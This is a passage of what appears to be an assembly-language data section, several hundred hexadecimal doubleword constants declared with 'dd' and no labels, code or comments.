0A0A15E4Bh, 1300D2D1h, 0ABE3E558h, 61D5C09Ch dd 0CD3007CAh, 6C4E412Dh, 4C92C209h, 28B53Dh, 0BEE24D4h dd 7261FFh, 55E5B094h, 0B4BDFB76h, 0FE697509h, 5D38234Ah dd 3ABA90A8h, 0FDFB0317h, 0F9AB0D5Fh, 20421C6h, 0C1C561B9h dd 0E950D880h, 0CCAB5420h, 0E75628C0h, 0F77F18BAh, 0FF22D9CAh dd 7E270A20h, 78140037h, 0E6DEE9BFh, 0AA0AD346h, 0B0522A97h dd 60F1CC08h, 2C790B19h, 0EDD9C610h, 5659338Ch, 6A0B3100h dd 5B3834A8h, 0E8C55044h, 0D77622D4h, 60D49883h, 2319CA7Ch dd 0D61185CDh, 8F63BE1Eh, 0FE00178Fh, 0B8C2C76Dh, 56EB8002h dd 80790758h, 0E905CC8Ch, 84384921h, 0DF238D00h, 5EB1605Dh dd 0FE760B0Ah, 0F8A99828h, 271821D1h, 7117A200h, 0F1942CAh dd 0DE8B01A4h, 87F8CE8Fh, 8953F176h, 0D308D31h, 0FDF99814h dd 0EC0777F0h, 451C90C6h, 9CBC4145h, 0B37702C9h, 0E945E4FCh dd 0E3E4212Ch, 0CB985070h, 50003743h, 477688F5h, 2C91D73Bh dd 12A9F430h, 816004E3h, 0CF90887Bh, 1804E0ACh, 9E2C7A0Bh dd 57902165h, 0A0393030h, 0DFC7AC0Ch, 48101914h, 3588306Eh dd 14480D11h, 14006123h, 0F1C37E1Dh, 7C60864Dh, 1ECF0E21h dd 0C22489Dh, 157F9C10h, 50DC910Ch, 45E44E64h, 2404F20Ah dd 0DF0090ADh, 9F5F4A78h, 6B6E16C0h, 721C0114h, 30E460DEh dd 1019DD18h, 6390173Fh, 1D081618h, 0C4E1C368h, 0C90C4073h dd 1ECD81Eh, 505E514Eh, 33645A92h, 757CA180h, 0B302AF0Ch dd 0DD0A4F2h, 555866D6h, 0F400A43Ah, 1DFDB9Ch, 0A5F0BDF8h dd 3259C8CCh, 11A2324h, 0CD67CA66h, 88C11875h, 0DCF56E88h dd 6000528Ch, 471368Fh, 92E8ED1Ch, 0A4850020h, 0E7499B70h dd 0AD677C90h, 0B1E23C80h, 0A0184035h, 7A5480CAh, 0A832C787h dd 0D307A06Fh, 223C6F7h, 9DD85120h, 0C840184Eh, 609345C3h dd 0FC67687h, 0F8731000h, 0EEB1EF0h, 956CC084h, 81C5607Eh dd 984F2E31h, 62097BE6h, 7AB4E784h, 30957C30h, 6CB03800h dd 0A0A4F332h, 0F838907Ah, 707F0593h, 5DDECCAEh, 1AFEEEA8h dd 94002071h, 0A11ED6FDh, 0DAD4C718h, 6F76E579h, 670731F2h dd 20B90Ch, 3D1B31A0h, 3501B498h, 0E2F36ED5h, 9425AF03h dd 2340E081h, 3044AA27h, 5F636DBCh, 0AFF749h, 96BB7A61h dd 0B177976Bh, 0BF8F233Ch, 50DCB0A2h, 0E86024FBh, 82E448E7h dd 61D90100h, 1DC68922h, 0AE68170Bh, 0AD0490FDh, 7DC80F6Bh dd 0F4C03DB9h, 5D5C9B46h, 2A007F70h, 0AC11E3Fh, 0C0225ACCh dd 0D4AAD090h, 8F004BE5h, 0DD0DEB16h, 3B24CD6h, 6EE807C3h dd 400646D2h, 0BD34586Bh, 87A20158h, 78410CDEh, 6FDC74CCh dd 1D02048Ch, 6201C37Ch, 20382773h, 97D9741Dh, 0C44AC001h dd 45490162h, 75213430h, 31CF8723h, 0D485F581h, 225FE418h dd 9DE82469h, 588D0840h, 0C672DB60h, 0AC7A1Bh, 0D02B3055h dd 6C32173Bh, 0C82C5D58h, 0BD68C03Ch, 0B9435716h, 0BAF09380h dd 0B02E8B70h, 0CB0030CCh, 0F65945DCh, 0E4A4A562h, 82806472h dd 1966CEDh, 2C3CBDFCh, 814CE35Fh, 58E8CCF8h, 4C604D1Bh dd 55B40035h, 605F7FFh, 44175D61h, 780410EAh, 14A028C7h dd 0C8401C90h, 0C0A5D21Ch, 29C29F10h, 5701A73h, 0FA10A6Bh dd 2EC8894h, 54B4BB46h, 0BF1E20E0h, 8A0C60E0h, 2036DE84h dd 0A6DC0A75h, 78201B6Bh, 2543234Bh, 0CAE94458h, 83D09831h dd 0E3A50119h, 2D7CC2D6h, 0A93F845h, 78B020B0h, 0BCE0E85Dh dd 0D9531D26h, 56E2C108h, 44722F30h, 48C14ACh, 73016D23h dd 0F15703BDh, 9E883C18h, 16BA2C1Bh, 0CE821ACh, 2871D8E0h dd 5267E300h, 2A8DB941h, 8E903F0h, 2D2FFC1Ch, 0E5E889E3h dd 10F19C18h, 0EE2416h, 0C9C3E656h, 9F36D82Ah, 4E00217Dh dd 0B11DAE1Fh, 50DF46C0h, 0C6784ACh, 8871B894h, 64B99D40h dd 64FCB200h, 123490C6h, 40976E45h, 0EC7A790Ch, 29C1E992h dd 0E256EAE4h, 1C917D8h, 4929C88Eh, 0EC28DB47h, 0ABF05575h dd 4350ED50h, 0E16F3900h, 0FA32C091h, 65CE3F21h, 0BB1CA7D8h dd 0F88F81F0h, 0D097B078h, 73001913h, 94269CA0h, 77CE884Ah dd 0DB3400AFh, 0DF8E125Eh, 963C1C3Ah, 0B4CD19h, 6963C2F1h dd 91BA8A1h, 0D2CB305Fh, 0F333D800h, 2CBAD804h, 79E58A00h dd 0CE9B956Fh, 1594007Ah, 7B1E6921h, 0BE60D4C5h, 86A559B0h dd 0E8F55AACh, 4D7D1D17h, 0A256C103h, 0AAE4E8A8h, 692D0107h dd 6AD277C3h, 0B8218747h, 0CF008770h, 0B691E0h, 331F5AFBh dd 6EC5A352h, 52295438h, 87710328h, 404FAAEFh, 885F2848h dd 87005983h, 3580419Bh, 16B46C6h, 3A4E3D73h, 8F4394CDh dd 6379F028h, 42D19Eh, 0F790B610h, 657E5E18h, 8ED64D0Eh dd 21688C62h, 0F78800ACh, 0E20771D1h, 8B004C4Eh, 0D4D6102Eh dd 51FFBCh, 0A4DB4027h, 0E94A2978h, 90C636EAh, 740867CBh dd 0F7210042h, 1ED81C1Dh, 6416BFA6h, 4E002CC9h, 86AD7D08h dd 61207173h, 9929302Fh, 408180A6h, 45D2499Dh, 0EC2400B3h dd 0BAE88BD3h, 5F02DEA6h, 0BEC758AEh, 567F00D0h, 88A8AB6Ch dd 4E008E42h, 46BF5BE5h, 0EE685DBh, 364723F9h, 0B44D6CE0h dd 5000B845h, 76564A03h, 2BFF7B65h, 1905879h, 5FC9F7BBh dd 88B91876h, 0F7019397h dd 0B2B4EEFDh, 50806839h, 0AC161546h, 6130E6C1h, 0CE899137h dd 81BA0391h, 0A84EC9B2h, 213E0930h, 901669h, 0D86CEF5h dd 9CC257AAh, 6C01E205h, 0E8035EC6h, 0C029E3C1h, 0F0681526h dd 202A0858h, 1E00554Dh, 66CAF170h, 43B4000Bh, 0FE316C7Ah dd 79407D16h, 18370356h, 6BA8F92Eh, 6FB39CE1h, 7C8469C1h dd 90DBEC40h, 0CE6C0A7Bh, 86A4C68Fh, 8036C25Dh, 0E80EDEC2h dd 0EB80A0D4h, 220BAEh, 1DA6A52Ah, 4F48BB5Fh, 2985A3Fh dd 84417FE9h, 0C82900CBh, 3E50633Bh, 7628B5C0h, 0A721B871h dd 0F7848099h, 629E5FCCh, 0A8BA4486h, 0E9F79C03h, 90C625DBh dd 65371991h, 60594839h, 0CEF7BADCh, 248E5F29h, 9600AF11h dd 2F66F792h, 0B10063F9h, 90EB08D1h, 5F6CCF4h, 13300B4Dh dd 0E688004Eh, 38B510BFh, 41B0FC30h, 14BA9A50h, 8C768EC5h dd 5EBF127Ch, 114406C6h, 0E833F1C7h, 801A31D3h, 0D6FBF0h dd 0A0CA60C4h, 195DFFA7h, 48497107h, 0E8E20494h, 442F20D2h dd 1D00BAE2h, 862028C4h, 0DEC836h, 0EFC02753h, 0C5BC78B1h dd 85AF4Ch, 0B67E8D70h, 143D5654h, 0D5550984h, 0C02DDE1Ch dd 7907C42Eh, 39F63ED9h, 5B883600h, 9E3DBAFFh, 5240C0A5h dd 0B0B895B7h, 0A6E7800h, 7602CB50h, 2BB51F49h, 54C30037h dd 7A86C461h, 88551C0Ah, 0A100742Eh, 0C8AD0CE3h, 2A5075Ah dd 46AEAAF0h, 0B30021C2h, 74480CFBh, 128CD5BAh, 40377E87h dd 0B336AE48h, 1C0FA5D4h, 40A8EDD7h, 2EB830F8h, 56C927Ch dd 0A1850850h, 23F8018Bh, 0C2CAD5FEh, 21439C48h, 98478101h dd 66CBD99Dh, 0AA8B1980h, 14351F3Fh, 85240700h, 4A2C8261h dd 5E0004Dh, 0BBA818C4h, 27983581h, 3D6E480h, 781EA037h dd 6C91A03Fh, 0ADCB789h, 0BB4912B5h, 197A00ACh, 0ED0A4641h dd 0E530AA7Ch, 16F01865h, 401E244Bh, 681832C0h, 0E27D7E20h dd 0B51A0E0Ch, 6BE041DBh, 0CB6C325Eh, 8CB11B60h, 0A2B745h dd 404D3DB6h, 775F3135h, 2EF3670Ah, 9B04DADFh, 0A08029BFh dd 0E8B837C1h, 413062AAh, 0B8A3D420h, 3CC007ECh, 0DC00C472h dd 0A9CB1D70h, 117EAF9h, 99CA21A2h, 30C7D8CDh, 8B0ED9E4h dd 0B0DACF5Fh, 2D7BA802h, 46388DFh, 610033E3h, 2174F0A3h dd 92CA998Dh, 0E1133B54h, 9DF2760Fh, 0D89675C0h, 0FC00BB2Fh dd 29F0A5E8h, 0E972BDh, 7B8B70F1h, 5C0DAE54h, 88B60200h dd 4D0EF5BAh, 0FA0100ABh, 0B8E198C1h, 0B2011FC6h, 0F7678F10h dd 18BFF0EDh, 0A96D3700h, 89220D4h, 9A5090B0h, 65223D0Ch dd 99552123h, 214FC504h, 28242A5Dh, 450C2BB9h, 0E55B202Dh dd 0FA185C61h, 0D27AFFh, 998733CEh, 0A964D8E9h, 0EC06B6FCh dd 0E013857Ch, 22190020h, 0F75E7B91h, 99C16654h, 0CA185141h dd 5F39ACh, 967D6861h, 0DA3C63AFh, 1B83C28h, 0E9A2E7F4h dd 71A8EB7Ah, 6F4CF039h, 0C80F6160h, 21E84F06h, 0D606BCE6h dd 0D6EEB64h, 12F82960h, 0FA750994h, 0D1C8F60Dh, 20BED7h dd 0BB069D6Fh, 6D3CBEFDh, 0F50D19Ch, 1410EC04h, 68274D07h dd 0A4330915h, 3A0FC748h, 0B323D934h, 49D3C2D5h, 0EFC73CF8h dd 64BC0900h, 7AF999ACh, 0AF29C82Dh, 243B8D42h, 2E612180h dd 0CE106B12h, 6704881Bh, 8B220F88h, 9F27D4EAh, 84A89078h dd 634837D8h, 9CF8B780h, 2C72B1C6h, 339DC4CCh, 7BE0E109h dd 9F30E0B7h, 0FE04E4C6h, 66C0024h, 5B072E21h, 5CEE2D41h dd 62005D79h, 47C2E909h, 7DF3C584h, 0D48900EEh, 0A49A6FC9h dd 0C1489FF9h, 625100CCh, 0F579578Eh, 0A5BA00F3h, 40F2055h dd 5793DC5h, 82D2030Fh, 0E50E6267h, 504DC022h, 0D0F800EBh dd 8F88EC14h, 6200DBEDh, 1BB88793h, 53127Ch, 0B7F9C16Fh dd 9A80E44Ah, 3F4E300Ah, 3900D4CFh, 61F3E5F6h, 0BC790087h dd 864C5E9Ch, 0A8022ADEh, 476E438Bh, 0B4407539h, 0B8077080h dd 0A9D8F15Dh, 26EED650h, 0B528C033h, 7507CF68h, 0B4103E60h dd 6A5DEEAh, 0B1FBDC2Eh, 0B91F191Eh, 78F0B0h, 791037D6h dd 293F885h, 11BA49Fh, 0B8486C1Ah, 94A0D362h, 0F2EC2BD9h dd 96D89Dh, 0C1705854h, 39349ED2h, 6B6AC52Ch, 82A6CD00h dd 0A6D981Ch, 71EA61D4h, 0AE2002ABh, 0F4E1027Bh, 0C4F0D837h dd 7E00EDECh, 0D6851F7Fh, 6093F4DCh, 0BCF9488Eh, 0A01F58C3h dd 94CF87DAh, 39EAC034h, 0F315A6h, 5DD34C4Dh, 3357A975h dd 1F836200h, 0F7DE7FB3h, 5F0EAF3h, 0B5EEC30Fh, 3CE10051h dd 63769B22h, 0C7C7F1Dh, 4E6B0200h, 0DB0F45h, 79D3A4BDh dd 0F1351770h, 37C0900h, 2401B2D9h, 70490DAh, 5C1CE328h dd 91DB00CBh, 9D71D2E6h, 0EB09F48h, 5DF09776h, 2DFD3100h dd 0C0FE81CBh, 0B2F23208h, 98DF6F74h, 0EE4B1C8Fh, 7045E04Dh dd 0F34FFC5h, 87C8C16Dh, 8951CFE0h, 823D6E65h, 9D573ED2h dd 29C70481h, 0C5B3FE85h, 0EEF6889Ah, 0C4462889h, 81E50098h dd 0F263C765h, 6400B491h, 0FE0F8C5Ch, 28022F0Ah, 8C37B0h dd 0AC8A2ECEh, 3B797F09h, 5E525600h, 2F6111B6h, 3D220082h dd 0D9438A0Bh, 17008825h, 2463D2FFh, 28647F3h, 0B548583Ch dd 40576D8Eh, 3F7AFA27h, 34075FEEh, 0D39A472Ah, 0A780B161h dd 4613EAF0h, 0FC4057C3h, 0B0D02DC9h, 0AB37FE0h, 666CE485h dd 454D00CBh, 0DE97FF0Bh, 0F487EB0Ch, 0E7BD8C3h, 585A3A43h dd 36137FA0h, 0D0005919h, 23CC4503h, 40F936Bh, 51BA847Ch dd 56C880AAh, 20494BEBh, 1CD5888h, 7EE13A39h, 0DE1F7E7h dd 25C4F8h, 6BFE4087h, 4B376A64h, 5142BD0Eh, 6CA980CBh dd 1F4C454h, 6BB1958Bh, 0D0BBA3D4h, 0AF004B9Ah, 0F78064C8h dd 0CC19Ch, 0E8884939h, 0F20EA79Fh, 911EE890h, 303DE5C5h dd 0E8470915h, 128907A1h, 8E9EA6EAh, 4E11039Fh, 0C98008DDh dd 0F74855D3h, 0F60A0084h, 1C4D2D0Bh, 0E51800A5h, 5643BE35h dd 0D33F2E4Ch, 0B5007CCDh, 1D12CF5h, 382C009h, 0E7999BC8h dd 7AB82BF8h, 11735A22h, 80589300h, 7F13A7A9h, 0BD1C0023h dd 0B8776955h, 0E51E874Ah, 5C0003E3h, 0A5F59E62h, 0E75F830h dd 78C1149h, 22E43C20h, 0CB146A4Bh, 0ACA7A0h, 36029435h dd 0B3F92h, 0AD7AC8D1h, 3B056B75h, 78130C0h, 0BC6EF6h dd 2746EBC5h, 49709D02h, 0A2F960Bh, 0B05C2093h, 0A124E5DAh dd 80043D9Ch, 1C4E3184h, 3E74E8A0h, 0FC8E0500h, 0CA85FF87h dd 1FCB0095h, 4231C8CDh, 75005339h, 0BDC5934Dh, 50A816h dd 975B2018h, 1C25CCBBh, 80118B3Eh, 87AE7654h, 0F27E0D6Bh dd 6A4E2EAh, 39FF461Ah, 65003021h, 0C6C5E64Fh, 1FC0E208h dd 0D1C80Ah, 0D928164Bh, 75076C52h, 67385EADh, 4A5BD4B0h dd 979F002Ah, 9B70E927h, 0B072739Ah, 4D081F03h, 0F083DE54h dd 0F0A76A40h, 10AA0082h, 2BDAE2AEh, 0F100D9A5h, 275EBF7h dd 1C14DBD8h, 1E1F177Ch, 86ED4F98h, 0CFCDDCC0h, 0E1000B16h dd 499FF55Ah, 508A0h, 8840A52Eh, 0E69B82B0h, 1D1858h, 13C1EA1Dh dd 0B32ACFh, 2F666ED2h, 9FDEFBFh, 6895E400h, 0D687628Fh dd 0D335008Eh, 30373E58h, 7401262Dh, 9E97E9D4h, 9D5D19Dh dd 0FA926880h, 6D329A11h, 83F27D3Fh, 0FCCD26B8h, 4C1BE047h dd 223E00C6h, 980DBC94h, 1C00EED4h, 0CD0FD230h, 763EF17h dd 0BB19029Ch, 8AD3106Fh, 0AC008524h, 1F51082h, 4FD867h dd 710C692Bh, 535DB305h, 669FAA00h, 7449E608h, 3647430h dd 99FE98ADh, 51E8A4ABh, 7006E97h, 7B3EFF67h, 132BE8h dd 105C75B9h dd 4771CDE0h, 0AC04AFFEh, 0F2E2C7CAh, 0BF5048C7h, 6C1910Ch dd 0DB973AD1h, 0D00E09C5h, 38C70A01h, 99FA4320h, 967707E0h dd 0F09829FFh, 0A902F29Dh, 0D7914806h, 3E30E080h, 0DC9E4569h dd 2D02163Fh, 9C7B1101h, 8E7C4A59h, 0BBDE87E0h, 70AD6C0h dd 0B6000ABh, 0B7FDA48Dh, 0F89803B9h, 150066E2h, 167E32FFh dd 0E713386h, 8C3CF1A1h, 0DB962040h, 0B600FD19h, 78D15897h dd 9D3F4Fh, 0CF74570Ch, 0C2DD6259h, 1001B4Dh, 0D5210AA8h dd 0DBF0EDB5h, 29D100A2h, 0BA015B16h, 30E97259h, 0D000B1A3h dd 0E078AA0Dh, 0F21E870Ah, 0F4E50080h, 5A282AF3h, 0F000AF13h dd 7AE34D34h, 31EB375h, 0A6AC9E05h, 0A7D1C35Dh, 0AD9870E5h dd 0B0A37E00h, 40B61680h, 9FBC00E1h, 0A7E2326Ah, 5100356Eh dd 7B46364Fh, 7A6A85Fh, 0C7B61F09h, 44404FE3h, 9567139Dh dd 0D7D93D00h, 687DE150h, 1C264C36h, 0EC0C5900h, 0ED5ADDEFh dd 0A2AC08C0h, 79AFD0A8h, 0DDC478BDh, 6599CF20h, 68C17A4Eh dd 0E0E049CCh, 0E10048A1h, 9B46056Ah, 26E52D21h, 2B80F87h dd 2355F6C6h, 75015CC4h, 70DA3F88h, 92E8ABF8h, 3E5700BBh dd 540C1F2Bh, 0B5EE8599h, 4B763426h, 6207FB39h, 5CCA4C5h dd 20CB2390h, 86B7075Ah, 0A0A3B199h, 0AF9444E7h, 48E5B402h dd 807EE6A5h, 2A1512E4h, 0A07C0087h, 9CE73D11h, 0E600D4AEh dd 36C8D59Eh, 0DAE406h, 0F5759A7Dh, 15D81F3h, 0CCA66200h dd 0E9B97E9Dh, 1217167h, 0A882DD85h, 0C4614326h, 470098C1h dd 40168E3Eh, 3714BC50h, 0D009445Ah, 46588B8Fh, 7BC220C0h dd 3C74EFF6h, 7E03C53Ch, 7D064B17h, 710248F0h, 0FEB83202h dd 4083E012h, 252BBE80h, 0B018D31Eh, 5F26D1EBh, 0CD002C8Ah dd 0A6A50C35h, 570A0ACFh, 16E4FBE6h, 5F00316Ah, 928070D3h dd 1A2258h, 0BD21876h, 0F0A5DD07h, 0C3EE1940h, 70037082h dd 7C0753F1h, 0EC9B2108h, 0D3489E10h, 1FB4E819h, 3ED4724h dd 0A6859CDEh, 411C7D80h, 57251577h, 8098804Bh, 0A8F2504h dd 0E5F71BBAh, 6AE70680h, 16003A82h, 9CC0CB0Ch, 6FBDF1h dd 7C2B4B7Fh, 723F1721h, 12CFAF00h, 5D2D02A6h, 0BB8F1C15h dd 7D89658h, 74A5D777h, 0A3F8A04Fh, 0E39D1804h, 0E38095C0h dd 231304h, 2F900151h, 0C98A363Eh, 0C0CE8AA0h, 3589A4Ch dd 3D7A9BFAh, 0C7508F97h, 106F868h, 0F938082Fh, 0DC56B869h dd 0F301CAFCh, 0B6350165h, 1080FAB0h, 0B234E6DCh, 8600C548h dd 653A1451h, 6B530Ch, 62F01867h, 0D82A0679h, 0BE414800h dd 52E74B95h, 921A0017h, 6D11EE71h, 7300F99Dh, 0C2EA931h dd 0FF1B3C7h, 5BD05F94h, 428007EBh, 56A73CA2h, 92D9DA03h dd 0C3DFB549h, 0C1A1B82Ch, 2A1200B1h, 0D344EAE9h, 0FC00D43Ch dd 40C41427h, 25B52F34h, 15DE7DEBh, 1ED84D04h, 0A05EBAC3h dd 0B895DF5Bh, 5CBA055Eh, 0F81F41h, 79C7CFA1h, 0B2008571h dd 2429BCD2h, 5456F5h, 61272A91h, 38FD3F58h, 0A3A8DC00h dd 25ADC552h, 35F04C5Eh, 2D331600h, 0B2F368F4h, 4138F11Fh dd 43B0E680h, 1C5F5D5Bh, 0C7C20893h, 0F368CAC9h, 0A0FF585Ah dd 0D737467Fh, 0B01637Bh, 0F6532AE9h, 49D81399h, 58DD00CCh dd 0F8B6F06Bh, 4B00A39Ch, 0C68338E6h, 0AF0EBEh, 0A9D08FC9h dd 0B57F21F1h, 0D7DB2704h, 580BC0Ch, 0EA1EFAC0h, 14B093h dd 0CCD481CEh, 6C903FA5h, 0A0AF731Eh, 0DED20440h, 940DF97h dd 4CC06A0Bh, 0C9283C80h, 6500D8E9h, 0A5C63A77h, 2CB770ADh dd 80041E48h, 88C4FC5Eh, 490EF38Dh, 819AFEFBh, 0DC3D9965h dd 18BF02DCh, 50258440h, 0FD0FDAC4h, 2169295Dh, 0F3DD0550h dd 0F8603BF9h, 19C20FE3h, 8EE0280Dh, 0A729D92Ah, 0D20032F6h dd 0B5144E4Fh, 0E69CBEh, 0C2C5DDBDh, 38365DC6h, 4284C8C0h dd 1EF2Bh, 92FDFCD9h, 825D5041h, 97C25F00h, 7D32EF7h, 665B00Bh dd 153DEFD4h, 55009866h, 40FA04BDh, 18A540Ah, 37E574A6h dd 0DD94535Eh, 0AE298011h, 0D0EB345Dh, 983F03F2h, 0CB33FDE9h dd 66A891E3h, 1601B0B2h, 0DC2BAF0h, 39801C93h, 0A149100Fh dd 2503786Ah, 0C1D89523h, 0F5AFF0FEh, 0B44F0187h, 669E1EE0h dd 11D440E7h, 0E052F73h, 7DBBDB3Bh, 5B2DC490h, 0F88014C1h dd 6201A7EAh, 521BD967h, 9F68804Eh, 2DB07F1Ch, 60060082h dd 0A4D4401Dh, 8507421Fh, 0D865816Ch, 0E9EB1E30h, 7D3C00C4h dd 42308DA5h, 0B4006F32h, 48BA8285h, 3E7F6B4Dh, 6C4D3F22h dd 2A0BC120h, 8018B468h, 0FC0E8984h, 0D397052Bh, 8723F74Eh dd 547E3038h, 2C60C0ADh, 0B4AACE10h, 64EB027Fh, 534D30E3h dd 0EEB1606Bh, 2440FEC5h, 0C43E01B1h, 4F83DC0h, 51DBB44Ah dd 72E4CE0h, 46B2D358h, 611CA060h, 0BE0167FDh, 0B5727CE4h dd 42DD5CEh, 69DA1177h, 0A4C00FDh, 0F12FCBC5h, 3CD40C84h dd 4D700E0Bh, 0EE9A810Eh, 1BC1609Eh, 0C93171h, 88B3D461h dd 6C34466Bh, 0F478AD03h, 99229816h, 94E0AC59h, 354500B8h dd 309C4F1Dh, 0CC40150Fh, 17F898C2h, 80505Ah, 71D1A982h dd 0DD24242Ah, 9D879855h, 2059FF52h, 0A4729CB0h, 0ABF70015h dd 8EE8438Bh, 3C32B2BFh, 0E02A10AAh, 0DAB1ACh, 0DE8FB8D0h dd 7DE4C959h, 98740500h, 11B7EDBh, 80F054E9h, 4048B4F9h dd 0F79C927Ch, 692F4700h, 18C824C2h, 0A6EB05F8h, 80E85268h dd 724D760Eh, 43533A03h, 0D010B923h, 3920AF70h, 6680554Bh dd 0D8AB2FE2h, 180769EBh, 0B44D68E0h, 0D71DC2F0h, 859E0274h dd 0BD5FA941h, 1A2B14C0h, 391FDE7Bh, 38C05249h, 18A7EC48h dd 3AB37A88h, 48CD0472h, 0F9169500h, 0B5329B31h, 4B676D00h dd 4592CBB7h, 0E86228DCh, 0FD65009Fh, 6D9CF446h, 5B4CF65Eh dd 9E01006Ah, 4E1CEC1Fh, 793B00E1h, 0FA88815Ch, 0AF0078D3h dd 0D944F09h, 18A8ED9h, 0CCDCFDE6h, 38799F2Eh, 1458A4h dd 5032781Eh, 0F641613Bh, 0A3F40Ah, 845E7EBEh, 7009DAC8h dd 90BAD8A8h, 573F6800h, 6C77DDB7h, 832C1ECDh, 0E5194007h dd 0EA3C9B22h, 60BEBF38h, 7C289610h, 0DA2D007Dh, 4AFC0D72h dd 0AB264E79h, 0C480C0C8h, 0B5AE7B47h, 0A3F104FBh, 800CC7DAh dd 0A5253CFCh, 0D0210907h, 0F837C8C9h, 561B75D0h, 978900B1h dd 3060575Fh, 6A5058E7h, 1E09FFE9h, 83C3D790h, 0D83FA797h dd 311220h, 7E094BF6h, 93997DAFh, 6FA2B000h, 0A4C4F59Dh dd 24950362h, 89635CF1h, 70C0B188h, 0D467900h, 2AF5B34Fh dd 41BF05E8h, 0E06374BCh, 3B302DC8h, 0C715C992h, 6BEF1EC4h dd 2C8BC074h, 5551B44Ch, 839B0A3Fh, 0AF309F93h, 0E49DB834h dd 39C8006Fh, 6BC7A9B7h, 0B9A0D326h, 0CA0FEA29h, 1D5053Eh dd 98145F23h, 48F2F8h, 41F85E47h, 4252DCF7h, 36DA9900h dd 9BFCBB6Dh, 0A0465C74h, 10245E00h, 5215D9F8h, 99EEB600h dd 81E3EFD6h, 0C71D0006h, 37AC4C47h, 0E04AD95h, 1413F873h dd 0ED21D090h, 6BF8D5h, 5ECB778Ah, 41A6224Dh, 4BF8D401h dd 8EFB863h, 7AE6E60h, 7F918457h, 9080DF98h, 3C603002h dd 83203Dh, 0D44E29C3h, 0BAF30Bh, 95F66A69h, 46A3C08Dh dd 911C8C09h, 8F2C00A8h, 5FC261h, 0DC5743D4h, 7835AD32h dd 3F10FE00h, 0C5C70919h, 6A0D30D3h, 534C630h, 0AC1BE07h dd 8049ACA3h, 0B0E4BF9Ch, 30824C8Fh, 136DEF01h, 805AC775h dd 60ECEAEEh, 1D2CFF9Fh, 35D71Bh, 201E8FD0h, 5106CC07h dd 9BE0F7DAh, 0C6C8008Ch, 0ED47839Ch, 3704035Eh, 0B1FB4629h dd 84806684h dd 9656E6Bh, 0D1CB27FAh, 0A086C00h, 1C1312EFh, 60071FCAh dd 3E902576h, 3BE4D306h, 4C07BC02h, 2819D74h, 24486DA7h dd 0F6004E26h, 6306CE42h, 4A95E38h, 0B40D7484h, 0B2A480B0h dd 0FC00DD79h, 5996D9F6h, 94BC193h, 0AEACBCCBh, 0FD2CBF83h dd 0CAF3F4D8h, 6192C506h, 0F4688FE0h, 50C40A3Ah, 0EFC625h dd 3F79AB58h, 0B30522E4h, 44CAE3C3h, 0C1754E0h, 0A08537BEh dd 0A407C5C0h, 0A57EF704h, 0B00098DAh, 7498BB21h, 6C751Ah dd 0BED68F6Bh, 0E8FC1529h, 5C94F702h, 40E7A2CFh, 1C1A60h dd 0C9E1EC35h, 15B8279h, 0FD6E4B00h, 0BB8F4C78h, 69FAF9h dd 7B98083Bh, 0AA0CBFC2h, 0A2001EFEh, 655A2244h, 214692h dd 160E4049h, 115D25C4h, 0DC24EA1Dh, 0D9F28CC1h, 79D43ADDh dd 17AE984Ah, 0C2221DA1h, 0F07035E0h, 9D9DA30h, 1D594FBh dd 0C28326A4h, 0D049C3B1h, 0D10092F4h, 0D47B245Ch, 1720C59h dd 0A70246D9h, 0D031EA89h, 0A20001BCh, 4C565DBBh, 0B669D7F2h dd 2DF75124h, 0E05E2AC0h, 0EC4C804h, 0A2C03B1Dh, 6170915h dd 0B2DA3EFAh, 0B700F0B5h, 0E9ABB1BCh, 0A0412319h, 0BE36AC0h dd 953E338Fh, 263A7402h, 28D2D4A0h, 56092D12h, 0E896169Eh dd 25C6154h, 0EB85BF53h, 84F884CAh, 0C87F652Ah, 917C89E2h dd 878B3D05h, 98A47A28h, 0F83A5804h, 820D1C70h, 436EC7B8h dd 0D19FF03Eh, 0C2635BBh, 3801FC90h, 0AB4CE745h, 6B0320h dd 9BCF364Eh, 54AB57Ch, 0E114B2A0h, 0EA0C2A0Fh, 0E7658222h dd 523960CBh, 91DA0D45h, 7C9EA013h, 0B420EBCh, 6D7D205Bh dd 0A04F3159h, 2466E04h, 472340BEh, 3FC0D9BFh, 0FE01F76Fh dd 0F3E96439h, 0FCE09930h, 2BEE33h, 0CA616EF0h, 57C8DE87h dd 13447D38h, 38482982h, 319E814Ch, 0CC833EC0h, 5713A87Fh dd 0D000373Fh, 6D292796h, 0EC634CF2h, 80CD321Ch, 782F979Fh dd 74731FAAh, 2010D70Bh, 3104408h, 0E8DABBC7h, 18848F9h dd 0E3AD1D9h, 81891D35h, 77C40027h, 833B44h, 8E6595CAh dd 706B3CF0h, 2B407F1Dh, 0E3613F80h, 89CB0Bh, 0BE5FEA34h dd 50DFE4A8h, 775C9B1Eh, 28B8C200h, 58F3B0h, 0A967EB41h dd 88BA24C3h, 0AE000090h, 0A351E6BFh, 0F7A5506h, 70683854h dd 0D8460920h, 6F02E3D9h, 799A5785h, 882B4311h, 3F1B888h dd 1593DC5Ah, 16A0C832h, 0B780C17h, 2AEAF439h, 0A80ED8FEh dd 2063B02Bh, 40C5452Eh, 0CC0800E4h, 2DB850E9h, 0FA0006DEh dd 0A16A0B5h, 21A7705h, 6978F6F3h, 603B08h, 89076FECh dd 3EF227FBh, 38E92EF0h, 43372451h, 8B3F00A3h, 4B0E1E96h dd 7C679924h, 0D697E180h, 1D55D75Bh, 3DC6A78Ch, 5CC4F817h dd 2C4984A8h, 69ACC030h, 3F02C603h, 0AFE77972h, 0EA086BD6h dd 6D28801Eh, 36335E4h, 0C734F419h, 0D9A3200Ah, 4EE1ECC3h dd 5900F327h, 0C4FB7C45h, 0A8F8957Ah, 0A03F4184h, 0AD6210h dd 612065D8h, 0DA5466A6h, 7930A70Ah, 5190188Bh, 0DD656080h dd 38C764ECh, 4C0261BDh, 7A108150h, 3980FB20h, 8C548F5Bh dd 0A507F847h, 0ADFFC16Dh, 0B3CE50B1h, 3445DCh, 0C7303DD8h dd 98BDCBEFh, 638A0100h, 1FE00B77h, 26E1006Ah, 69E9FCD8h dd 831D8594h, 0F680040Ah, 0EA42F1DBh, 0D2F80E46h, 0D30057FBh dd 0B19C7E37h, 0D8F69400h, 0A3A6328Bh, 6F401BFh, 2735DC12h dd 9745F072h, 2DD00300h, 22F7C6DDh, 90D3129Bh, 25D500E0h dd 0A54C16F9h, 21A44000h, 9A292327h, 70830055h, 53E1F103h dd 3D2E388Ah, 0F000D0D4h, 0F4F8D974h, 7F2F1E2Dh, 2872852Eh dd 0BECC0049h, 6544DAE0h, 327800E9h, 19623D94h, 1BFB3506h dd 77600834h, 944AA621h, 